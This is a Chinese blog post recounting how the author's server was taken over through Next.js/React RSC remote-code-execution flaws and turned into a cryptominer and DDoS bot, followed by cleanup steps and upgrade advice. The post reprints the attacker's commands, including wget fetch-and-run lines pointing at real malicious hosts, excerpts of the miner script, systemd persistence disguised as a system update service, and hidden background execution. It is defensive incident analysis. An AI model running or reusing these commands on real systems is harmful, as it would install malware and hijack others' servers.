紧急!Next.js高危漏洞致服务器被黑,我已经中招了!附解决方案
<p class="md-end-block md-heading"><span class="md-plain">刚刚,我的服务器因为一个高危漏洞被入侵了,沦为了矿机!把我的经历分享出来,希望更多程序员朋友们不要中招,抓紧预防处理。</span></p><p class="md-end-block md-p"> </p>
<h2 class="md-end-block md-heading"><span class="md-plain">事故现场</span></h2>
<p class="md-end-block md-p"><span class="md-plain">2025 年 12 月 5 日下午,腾讯云给我发来一条安全告警通知,说我的业务存在 React/Next.js 远程代码执行(CVE-2025-55182/CVE-2025-66478)高危安全风险。</span></p>
<p class="md-end-block md-p"><span class="md-image md-img-loaded" data-src="https://pic.yupi.icu/1/image-20251206122349704.png"><img src="https://pic.yupi.icu/1/image-20251206122349704.png"></span></p>
<p class="md-end-block md-p"><span class="md-plain">然后在当晚,腾讯云就给我发了第二条通知,说是我的服务器上检测到存在恶意文件,显然是一个挖矿程序。</span></p>
<p class="md-end-block md-p"><span class="md-image md-img-loaded" data-src="https://pic.yupi.icu/1/image-20251206122416463.png"><img src="https://pic.yupi.icu/1/image-20251206122416463.png"></span></p>
<p class="md-end-block md-p"><span class="md-plain">但很遗憾的是,昨天我正在老家处理事情,没来得及看到这些通知,而且可气的是,攻击者专挑周五下班时间作案,所以我团队同学也没注意。</span></p>
<p class="md-end-block md-p"><span class="md-plain">等到今天早上一睁眼,发现站内信全是告警,攻击者在早上 6 点和 9 点又进行了几次行动。这时我们团队群里也已经炸锅了,大家就一起排查处理。</span></p>
<p class="md-end-block md-p"><span class="md-image md-img-loaded" data-src="https://pic.yupi.icu/1/image-20251206122529033.png"><img src="https://pic.yupi.icu/1/image-20251206122529033.png"></span></p>
<p class="md-end-block md-p"><span class="md-plain">首先我查看了前端项目的依赖管理文件 <span class="md-pair-s"><code>package.json</code><span class="md-plain">:</span></span></span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded"><span>{<br><span> <span class="cm-string cm-property">"dependencies": {<br><span> <span class="cm-string cm-property">"next": <span class="cm-string">"15.3.3"<br><span>}<br><span>}</span></span></span></span></span></span></span></span></pre>
<p class="md-end-block md-p"><span class="md-plain">发现我编程导航训练营项目使用的 Next.js 版本(15.3.3)正好在漏洞影响范围内!</span></p>
<p class="md-end-block md-p"><span class="md-image md-img-loaded" data-src="https://pic.yupi.icu/1/image-20251206122604900.png"><img src="https://pic.yupi.icu/1/image-20251206122604900.png"></span></p>
<p class="md-end-block md-p"><span class="md-plain">然后我查看了应用日志 <span class="md-pair-s"><code>camp_codefather_cn.log</code><span class="md-plain">,发现了很多线索,并配合腾讯云主机安全提供的告警分析,还原了攻击者的完整作案过程。</span></span></span></p>
<p class="md-end-block md-p"><span class="md-image md-img-loaded" data-src="https://pic.yupi.icu/1/image-20251206122642224.png"><img src="https://pic.yupi.icu/1/image-20251206122642224.png"></span></p>
<p class="md-end-block md-p"><span class="md-plain">时间线如下:</span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded"><span>📅 2025-12-05 19:59:42 【第一波攻击】下载恶意脚本<br><span>📅 2025-12-05 20:04:00 【第二波攻击】部署挖矿程序<br><span>📅 2025-12-06 06:13:43 【第三波攻击】植入 DDoS 木马<br><span>📅 2025-12-06 09:29:33 【第四波攻击】运行内存木马<br><span>📅 2025-12-06 09:42:00 【持续攻击】尝试建立后门</span></span></span></span></span></pre>
<p class="md-end-block md-p"> </p>
<h4 class="md-end-block md-heading"><span class="md-plain">1、下载恶意脚本,部署挖矿程序</span></h4>
<p class="md-end-block md-p"><span class="md-plain">首先晚上 7 点 59 分,攻击者利用 Next.js RSC 漏洞,通过发送特制的 HTTP POST 请求,执行命令下载了恶意脚本 <span class="md-pair-s"><code>sex.sh</code><span class="md-plain">:</span></span></span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded"><span><span class="cm-builtin">wget http://vps-zap812595-1.zap-srv.com:3000/sex.sh <span class="cm-attribute">-O sex.sh<br><span><span class="cm-builtin">chmod <span class="cm-operator">+x sex.sh<br><span>./sex.sh</span></span></span></span></span></span></span></pre>
<p class="md-end-block md-p"><span class="md-plain">日志记录:</span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded"><span>--2025-12-05 19:59:42-- http://vps-zap812595-1.zap-srv.com:3000/sex.sh<br><span>Resolving vps-zap812595-1.zap-srv.com (vps-zap812595-1.zap-srv.com)... 45.146.252.37<br><span>Connecting to vps-zap812595-1.zap-srv.com (vps-zap812595-1.zap-srv.com)|45.146.252.37|:3000... connected.<br><span>HTTP request sent, awaiting response... 200 OK<br><span>Length: 1619 (1.6K) <br><span>Saving to: 'sex.sh'<br><span><span><br><span>2025-12-05 19:59:42 (148 MB/s) - 'sex.sh' saved </span></span></span></span></span></span></span></span></span></pre>
<p class="md-end-block md-p"><span class="md-plain">从这里能看出来,这个时候攻击者已经可以通过 Next.js 的漏洞为所欲为了!</span></p>
<p class="md-end-block md-p"><span class="md-plain">我下载了这个 <span class="md-pair-s"><code>sex.sh</code><span class="md-plain"> 脚本文件,带大家 “鉴赏一下”。</span></span></span></p>
<p class="md-end-block md-p"><span class="md-plain">首先攻击者配置了挖矿参数,连接到攻击者的矿池、使用攻击者的门罗币钱包,并伪装成系统更新服务。</span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded"><span><span class="cm-def">ARGS<span class="cm-operator">=<span class="cm-string">"--url pool.hashvault.pro:443 --user 89ASvi6ZBHXE6y...(攻击者的钱包地址)"<br><span><span class="cm-def">SERVICE_NAME<span class="cm-operator">=<span class="cm-string">"system-update-service" <span class="cm-comment"># ⚠️ 伪装成系统服务</span></span></span></span></span></span></span></span></span></pre>
<p class="md-end-block md-p"><span class="md-plain">然后伪装成浏览器请求,从 GitHub 下载合法的 XMRig 挖矿软件</span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded"><span><span class="cm-builtin">curl <span class="cm-attribute">-L <span class="cm-attribute">-o kal.tar.gz \<br><span> <span class="cm-attribute">--user-agent <span class="cm-string">"Mozilla/5.0..." \ <span class="cm-comment"># ⚠️ 伪装成浏览器<br><span>https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz<br><span>tar xvzf kal.tar.gz</span></span></span></span></span></span></span></span></span></span></pre>
<p class="md-end-block md-p"><span class="md-plain">接下来创建系统服务,设置开机自启、进程崩溃后自动重启。也就是说,<span class="md-pair-s "><strong>即使重启服务器,木马依然运行</strong><span class="md-plain">!</span></span></span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded"><span><span class="cm-comment"># 创建 systemd 服务<br><span><span class="cm-builtin">cat > /etc/systemd/system/system-update-service.service <<EOF<br><span><br><span><span class="cm-def">ExecStart<span class="cm-operator">=/path/to/xmrig <span class="cm-attribute">--url pool.hashvault.pro:443 ...<br><span><span class="cm-def">Restart<span class="cm-operator">=always <span class="cm-comment"># ⚠️ 崩溃后自动重启<br><span><br><span><span class="cm-def">WantedBy<span class="cm-operator">=multi-user.target <span class="cm-comment"># ⚠️ 开机自启<br><span>EOF<br><span><span><br><span>systemctl enable system-update-service<br><span>systemctl <span class="cm-builtin">start system-update-service</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></pre>
<p class="md-end-block md-p"><span class="md-plain">如果没有 root 权限,会在后台运行挖矿程序,并重定向输出到 <span class="md-pair-s"><code>/dev/null</code><span class="md-plain">,不留日志。</span></span></span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded"><span>nohup /path/to/xmrig <span class="cm-def">$ARGS >/dev/null <span class="cm-number">2>&1 &</span></span></span></pre>
<p class="md-end-block md-p"><span class="md-plain">完整代码我分享到 <span class="md-meta-i-cmd-link"><span class="md-plain">代码小抄</span><span class="md-plain"> 了,感兴趣的同学可以阅读。</span></span></span></p>
<p class="md-end-block md-p"><span class="md-image md-img-loaded" data-src="https://pic.yupi.icu/1/image-20251206112951103.png"><img src="https://pic.yupi.icu/1/image-20251206112951103.png"></span></p>
<p class="md-end-block md-p"><span class="md-plain">我都忍不住赞美攻击者了,这个程序写得真不错,短小凝练,不仅有隐蔽和伪装、还考虑到了持久化和降级。</span></p>
<p class="md-end-block md-p"><span class="md-image md-img-loaded" data-src="https://pic.yupi.icu/1/images.jpeg"><img src="https://pic.yupi.icu/1/images.jpeg"></span></p>
<p class="md-end-block md-p"><span class="md-plain">这段代码执行完,我的服务器就已经脏了,挖矿程序开始在后台运行,持续消耗我的服务器资源为攻击者挖取门罗币。</span></p>
<p class="md-end-block md-p"><span class="md-image md-img-loaded" data-src="https://pic.yupi.icu/1/%E4%BC%81%E4%B8%9A%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_ef8d0c0c-714d-4047-9375-99a0013b69d1_%E5%89%AF%E6%9C%AC.jpg"><img src="https://pic.yupi.icu/1/%E4%BC%81%E4%B8%9A%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_ef8d0c0c-714d-4047-9375-99a0013b69d1_%E5%89%AF%E6%9C%AC.jpg"></span></p>
<p class="md-end-block md-p"> </p>
<h4 class="md-end-block md-heading"><span class="md-plain">2、植入 DDoS 木马</span></h4>
<p class="md-end-block md-p"><span class="md-plain">然后是第二天早上 6 点多,攻击者不讲武德,给我的服务器植入了第二个恶意程序。</span></p>
<p class="md-end-block md-p"><span class="md-plain">先看看日志记录:</span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded"><span>--2025-12-06 06:13:43-- http://res.qiqigece.top/nginx2<br><span>Resolving res.qiqigece.top (res.qiqigece.top)... 154.38.121.219<br><span>Connecting to res.qiqigece.top (res.qiqigece.top)|154.38.121.219|:80... connected.<br><span>HTTP request sent, awaiting response... 200 OK<br><span>Length: 1371145 (1.3M) <br><span>Saving to: '/tmp/nginx3'<br><span><span><br><span>2025-12-06 06:13:43 (6.32 MB/s) - '/tmp/nginx3' saved </span></span></span></span></span></span></span></span></span></pre>
<p class="md-end-block md-p"><span class="md-plain">攻击者通过 wget 下载了一个特制的 Nginx 网站服务器文件,还特意选择了权限宽松的 <span class="md-pair-s"><code>/tmp</code><span class="md-plain"> 目录。</span></span></span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded"><span><span class="cm-builtin">wget <span class="cm-attribute">-O /tmp/nginx3 http://res.qiqigece.top/nginx2<br><span><span class="cm-builtin">chmod <span class="cm-number">777 /tmp/nginx3<br><span>/tmp/nginx3</span></span></span></span></span></span></span></pre>
<p class="md-end-block md-p"><span class="md-plain">根据安全报告,这是一个 DDoS 攻击木马类的恶意程序,可以把我的服务器变成太美的 “肉鸡”,参与对其他服务器的 DDoS 攻击。</span></p>
<p class="md-end-block md-p"><span class="md-image md-img-loaded" data-src="https://pic.yupi.icu/1/image-20251206113853570.png"><img src="https://pic.yupi.icu/1/image-20251206113853570.png"></span></p>
<p class="md-end-block md-p"><span class="md-plain">不仅会消耗服务器的带宽,还可能导致我的服务器 IP 被封;更严重的是,我有可能直接就参与网络攻击了?!</span></p>
<p class="md-end-block md-p"><span class="md-plain">这难道就是传说中的人在家中坐,锅从天上来?</span></p>
<p class="md-end-block md-p"><span class="md-image md-img-loaded" data-src="https://pic.yupi.icu/1/image-20251206114147095.png"><img src="https://pic.yupi.icu/1/image-20251206114147095.png"></span></p>
<p class="md-end-block md-p"><span class="md-plain">6 点我特么还在床上躺着流口水做梦呢,攻击者努力得让人心疼啊!</span></p>
<p class="md-end-block md-p"> </p>
<h4 class="md-end-block md-heading"><span class="md-plain">3、植入内存木马</span></h4>
<p class="md-end-block md-p"><span class="md-plain">到了早上 9 点 29 分,攻击者又发力了 ,又给我的服务器植入了一个木马类的恶意程序 <span class="md-pair-s"><code>/dev/shm/java</code><span class="md-plain">:</span></span></span></p>
<p class="md-end-block md-p"><span class="md-image md-img-loaded" data-src="https://pic.yupi.icu/1/image-20251206114516304.png"><img src="https://pic.yupi.icu/1/image-20251206114516304.png"></span></p>
<p class="md-end-block md-p"><span class="md-plain">不过有点儿奇怪的是,这次的文件竟然已经被删除掉了?</span></p>
<p class="md-end-block md-p"><span class="md-plain">我才不相信攻击者良心发现呢,我通过下列命令看了下进程:</span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded"><span><span class="cm-builtin">ls <span class="cm-attribute">-l /proc/*/exe | <span class="cm-builtin">grep deleted</span></span></span></span></pre>
<p class="md-end-block md-p"><span class="md-pair-s "><strong>发现竟然有 4 个木马进程同时运行!</strong></span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded"><span>lrwxrwxrwx 1 www www 0 Dec 6 10:48 /proc/1659874/exe -> /dev/shm/java (deleted)<br><span>lrwxrwxrwx 1 www www 0 Dec 6 10:48 /proc/1659875/exe -> /dev/shm/java (deleted)<br><span>lrwxrwxrwx 1 www www 0 Dec 6 10:48 /proc/1659876/exe -> /dev/shm/java (deleted)<br><span>lrwxrwxrwx 1 www www 0 Dec 6 10:48 /proc/1659877/exe -> /dev/shm/java (deleted)</span></span></span></span></pre>
<p class="md-end-block md-p"><span class="md-plain">狠啊,真狠啊,1 个进程还不够是吧?</span></p>
<p class="md-end-block md-p"><span class="md-plain">我猜 “删除文件” 是攻击者为了 <span class="md-pair-s "><strong>防止取证</strong><span class="md-plain">,让文件运行在 Linux 的共享内存文件系统 <span class="md-pair-s"><code>/dev/shm</code><span class="md-plain"> 中,并且故意把文件删除掉,让 <span class="md-pair-s"><code>ls</code><span class="md-plain">、<span class="md-pair-s"><code>find</code><span class="md-plain"> 等命令找不到它,但其实进程仍然在继续运行,增加了取证排查的难度。</span></span></span></span></span></span></span></span></span></p>
<p class="md-end-block md-p"> </p>
<h4 class="md-end-block md-heading"><span class="md-plain">4、持续探测</span></h4>
<p class="md-end-block md-p"><span class="md-plain">上午 9 点 42 分,攻击者又来了,这次是从一个波兰的 IP 地址下载了一个程序,并赋予极高的访问权限,然后还想远程下载并执行另外一个远程脚本。</span></p>
<p class="md-end-block md-p"><span class="md-image md-img-loaded" data-src="https://pic.yupi.icu/1/image-20251206115115206.png"><img src="https://pic.yupi.icu/1/image-20251206115115206.png"></span></p>
<p class="md-end-block md-p"><span class="md-plain">很可惜我的服务器并没有 busybox(嵌入式 Linux 常用的工具集),所以这次攻击被阻止了:</span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded"><span>/bin/sh: line 1: busybox: command not found<br><span>chmod: cannot access 'x86': No such file or directory<br><span>/bin/sh: line 1: ./x86: No such file or directory</span></span></span></pre>
<p class="md-end-block md-p"><span class="md-plain">但这也说明攻击者在 <span class="md-pair-s "><strong>持续尝试</strong><span class="md-plain"> 建立多重后门。真是丧尽天良,丧心病狂啊!</span></span></span></p>
<p class="md-end-block md-p"> </p>
<h2 class="md-end-block md-heading"><span class="md-plain">漏洞简介</span></h2>
<p class="md-end-block md-p"><span class="md-plain">分享到这里,想必大家已经感受到这次漏洞的危害了吧。</span></p>
<p class="md-end-block md-p"><span class="md-plain">主要是 2 个远程代码执行漏洞:</span></p>
<ul class="ul-list" data-mark="-">
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-plain">CVE-2025-55182:React Server Components 远程代码执行漏洞</span></p>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-plain">CVE-2025-66478:Next.js App Router 远程代码执行漏洞</span></p>
</li>
</ul>
<p class="md-end-block md-p"><span class="md-plain">据官方描述,在 React 的服务器组件库中,由于 React 在解码发送至服务器函数端点的请求负载时存在安全缺陷,导致未经身份验证的远程攻击者可以通过 <span class="md-pair-s "><strong>向任何服务器函数端点发送特制的恶意 HTTP 请求</strong><span class="md-plain">,当该请求被 React 反序列化处理时,即可 <span class="md-pair-s "><strong>在服务器上实现远程代码执行,从而完全控制服务器。</strong></span></span></span></span></p>
<p class="md-end-block md-p"><span class="md-plain">这次漏洞的影响范围很大,包括使用了 React 服务器组件的应用、使用了不安全版本的 Next.js 应用等等。注意,不仅仅是你自己开发的应用,如果你服务器上安装了其他符合这些特征的应用,一样会中招!<span class="md-pair-s "><strong>攻击者是可以通过程序批量扫描这些应用的,发现一个攻击一个。</strong></span></span></p>
<p class="md-end-block md-p"><span class="md-plain">你看漏洞是前两天刚刚披露的,我这就中招了。我们团队的小伙伴自己的服务器也中招了,他通过一个 <span class="md-meta-i-cmd-link"><span class="md-plain">开源项目</span><span class="md-plain"> 成功复现了攻击,只需要一个请求就能打开服务器上的计算器程序、给服务器写入任何文件。</span></span></span></p>
<blockquote>
<p class="md-end-block md-p"><span class="md-plain">开源的扫描工具:<span class="md-link md-pair-s">https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478</span></span></p>
</blockquote>
<p class="md-end-block md-p"><span class="md-image md-img-loaded" data-src="https://pic.yupi.icu/1/exploit_demo.png"><img src="https://pic.yupi.icu/1/exploit_demo.png"></span></p>
<p class="md-end-block md-p"><span class="md-plain">好家伙,几乎没有任何成本,就能为所欲为,植入后门、生产垃圾、拿来挖矿、盗取信息!</span></p>
<p class="md-end-block md-p"><span class="md-pair-s "><strong>而且很多朋友可能没有及时发现、或者不知道怎么处理,就会一直被攻击者当成矿工来利用。</strong></span></p>
<p class="md-end-block md-p"> </p>
<h2 class="md-end-block md-heading"><span class="md-plain">如何处理?</span></h2>
<p class="md-end-block md-p"><span class="md-plain">如果条件允许的话,建议是立刻隔离服务器,防止被攻击者拿来利用、植入更多恶意程序、或者获取更多信息。</span></p>
<p class="md-end-block md-p"><span class="md-plain">然后通过编写 Linux 脚本来清理恶意文件:</span></p>
<blockquote>
<p class="md-end-block md-p"><span class="md-plain">注意,以下脚本仅供参考,实际以操作系统和攻击情况为主,用 AI 生成即可</span></p>
</blockquote>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded"><span><span class="cm-comment"># 删除整个挖矿目录<br><span><span class="cm-builtin">rm <span class="cm-attribute">-rf /www/wwwroot/xxx/xmrig-6.24.0/<br><span><span class="cm-builtin">rm <span class="cm-attribute">-f /www/wwwroot/xxx/sex.sh<br><span><span class="cm-builtin">rm <span class="cm-attribute">-f /www/wwwroot/xxx/kal.tar.gz<br><span><span><br><span><span class="cm-comment"># 删除 /tmp 下的恶意文件<br><span><span class="cm-builtin">rm <span class="cm-attribute">-f /tmp/nginx3<br><span><span class="cm-builtin">rm <span class="cm-attribute">-f /tmp/x86</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></pre>
<p class="md-end-block md-p"><span class="md-plain">光删除文件还不够,还要查找并终止所有恶意进程:</span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded"><span><span class="cm-comment"># 查找 xmrig 进程<br><span><span class="cm-builtin">ps aux | <span class="cm-builtin">grep <span class="cm-attribute">-E <span class="cm-string">"(xmrig|minerd|cpuminer)" | <span class="cm-builtin">grep <span class="cm-attribute">-v <span class="cm-builtin">grep<br><span><span><br><span><span class="cm-comment"># 查找可疑进程<br><span><span class="cm-builtin">ps aux | <span class="cm-builtin">grep <span class="cm-attribute">-E <span class="cm-string">"(nginx3|/tmp/|/dev/shm)" | <span class="cm-builtin">grep <span class="cm-attribute">-v <span class="cm-builtin">grep<br><span><span><br><span><span class="cm-comment"># 查看被删除但仍在运行的进程<br><span><span class="cm-builtin">ls <span class="cm-attribute">-l /proc/*/exe <span class="cm-number">2>/dev/null | <span class="cm-builtin">grep deleted<br><span><span><br><span><span class="cm-comment"># 终止进程<br><span><span class="cm-builtin">kill <span class="cm-attribute">-9 <PID></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></pre>
<p class="md-end-block md-p"><span class="md-plain">最后,还要停止恶意的 systemd 服务:</span></p>
<pre class="md-fences md-end-block ty-contain-cm modeLoaded"><span><span class="cm-comment"># 查找可疑服务<br><span>systemctl list-units <span class="cm-attribute">--type<span class="cm-operator">=<span class="cm-builtin">service | <span class="cm-builtin">grep <span class="cm-attribute">-E <span class="cm-string">"(update|system|miner|crypto)"<br><span><span><br><span><span class="cm-comment"># 示例输出<br><span>system-update-service.service loaded active running System Update Service<br><span><span><br><span><span class="cm-comment"># 停止并禁用<br><span>systemctl <span class="cm-builtin">stop system-update-service<br><span>systemctl disable system-update-service<br><span><span><br><span><span class="cm-comment"># 删除服务文件<br><span><span class="cm-builtin">rm <span class="cm-attribute">-f /etc/systemd/system/system-update-service.service<br><span><span><br><span><span class="cm-comment"># 重新加载<br><span>systemctl daemon-reload</span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></pre>
<p class="md-end-block md-p"><span class="md-plain">当然,如果你的服务器上本来就没什么东西,也可以选择简单粗暴的方式,重装系统!</span></p>
<p class="md-end-block md-p"><span class="md-plain">不过最重要的是,要解决根本问题,把 Next.js 应用升级到安全版本。</span></p>
<p class="md-end-block md-p"><span class="md-image md-img-loaded" data-src="https://pic.yupi.icu/1/image-20251206123337427.png"><img src="https://pic.yupi.icu/1/image-20251206123337427.png"></span></p>
<p class="md-end-block md-p"> </p>
<h2 class="md-end-block md-heading"><span class="md-plain">最后</span></h2>
<p class="md-end-block md-p"><span class="md-plain">通过这次事故呢,我觉得多关注安全通告、做好服务器的安全监控还是非常重要的,要是没有安全告警,可能几个月都没办法意识到这些攻击。</span></p>
<p class="md-end-block md-p"><span class="md-plain">而且建议大家把应用尽量运行在非 root 权限下,尽可能减少风险。平时养成定期备份的习惯,出了问题即使重新安装服务器,也不会造成数据丢失。</span></p>
<p class="md-end-block md-p"><span class="md-plain">OK 就分享到这里吧,如果你觉得本期内容有帮助,记得 <span class="md-pair-s "><strong>转发分享</strong><span class="md-plain"> 给身边的程序员朋友,让他们尽快意识到并修复问题,不要再让丑陋的、卑鄙的、老奸巨猾的攻击者得逞了!</span></span></span></p>
<p class="md-end-block md-p"> </p>
<h2 class="md-end-block md-heading"><span class="md-plain">更多编程学习资源</span></h2>
<ul class="ul-list" data-mark="-">
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-meta-i-cmd-link"><span class="md-plain">Java前端程序员必做项目实战教程+毕设网站</span></span></p>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-meta-i-cmd-link"><span class="md-plain">程序员免费编程学习交流社区(自学必备)</span></span></p>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-meta-i-cmd-link"><span class="md-plain">程序员保姆级求职写简历指南(找工作必备)</span></span></p>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-meta-i-cmd-link"><span class="md-plain">程序员免费面试刷题网站工具(找工作必备)</span></span></p>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-meta-i-cmd-link"><span class="md-plain">最新Java零基础入门学习路线 + Java教程</span></span></p>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-meta-i-cmd-link"><span class="md-plain">最新Python零基础入门学习路线 + Python教程</span></span></p>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-meta-i-cmd-link"><span class="md-plain">最新前端零基础入门学习路线 + 前端教程</span></span></p>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-meta-i-cmd-link"><span class="md-plain">最新数据结构和算法零基础入门学习路线 + 算法教程</span></span></p>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-meta-i-cmd-link"><span class="md-plain">最新C++零基础入门学习路线、C++教程</span></span></p>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-meta-i-cmd-link"><span class="md-plain">最新数据库零基础入门学习路线 + 数据库教程</span></span></p>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-meta-i-cmd-link"><span class="md-plain">最新Redis零基础入门学习路线 + Redis教程</span></span></p>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-meta-i-cmd-link"><span class="md-plain">最新计算机基础入门学习路线 + 计算机基础教程</span></span></p>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-meta-i-cmd-link"><span class="md-plain">最新小程序入门学习路线 + 小程序开发教程</span></span></p>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-meta-i-cmd-link"><span class="md-plain">最新SQL零基础入门学习路线 + SQL教程</span></span></p>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-meta-i-cmd-link"><span class="md-plain">最新Linux零基础入门学习路线 + Linux教程</span></span></p>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-meta-i-cmd-link"><span class="md-plain">最新Git/GitHub零基础入门学习路线 + Git教程</span></span></p>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-meta-i-cmd-link"><span class="md-plain">最新操作系统零基础入门学习路线 + 操作系统教程</span></span></p>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-meta-i-cmd-link"><span class="md-plain">最新计算机网络零基础入门学习路线 + 计算机网络教程</span></span></p>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-meta-i-cmd-link"><span class="md-plain">最新设计模式零基础入门学习路线 + 设计模式教程</span></span></p>
</li>
<li class="md-list-item md-focus-container">
<p class="md-end-block md-p md-focus"><span class="md-meta-i-c md-link md-expand"><span class="md-plain">最新软件工程零基础入门学习路线 + 软件工程教程</span></span></p>
</li>
</ul><br><br>
来源:https://www.cnblogs.com/yupi/p/19320774
頁:
[1]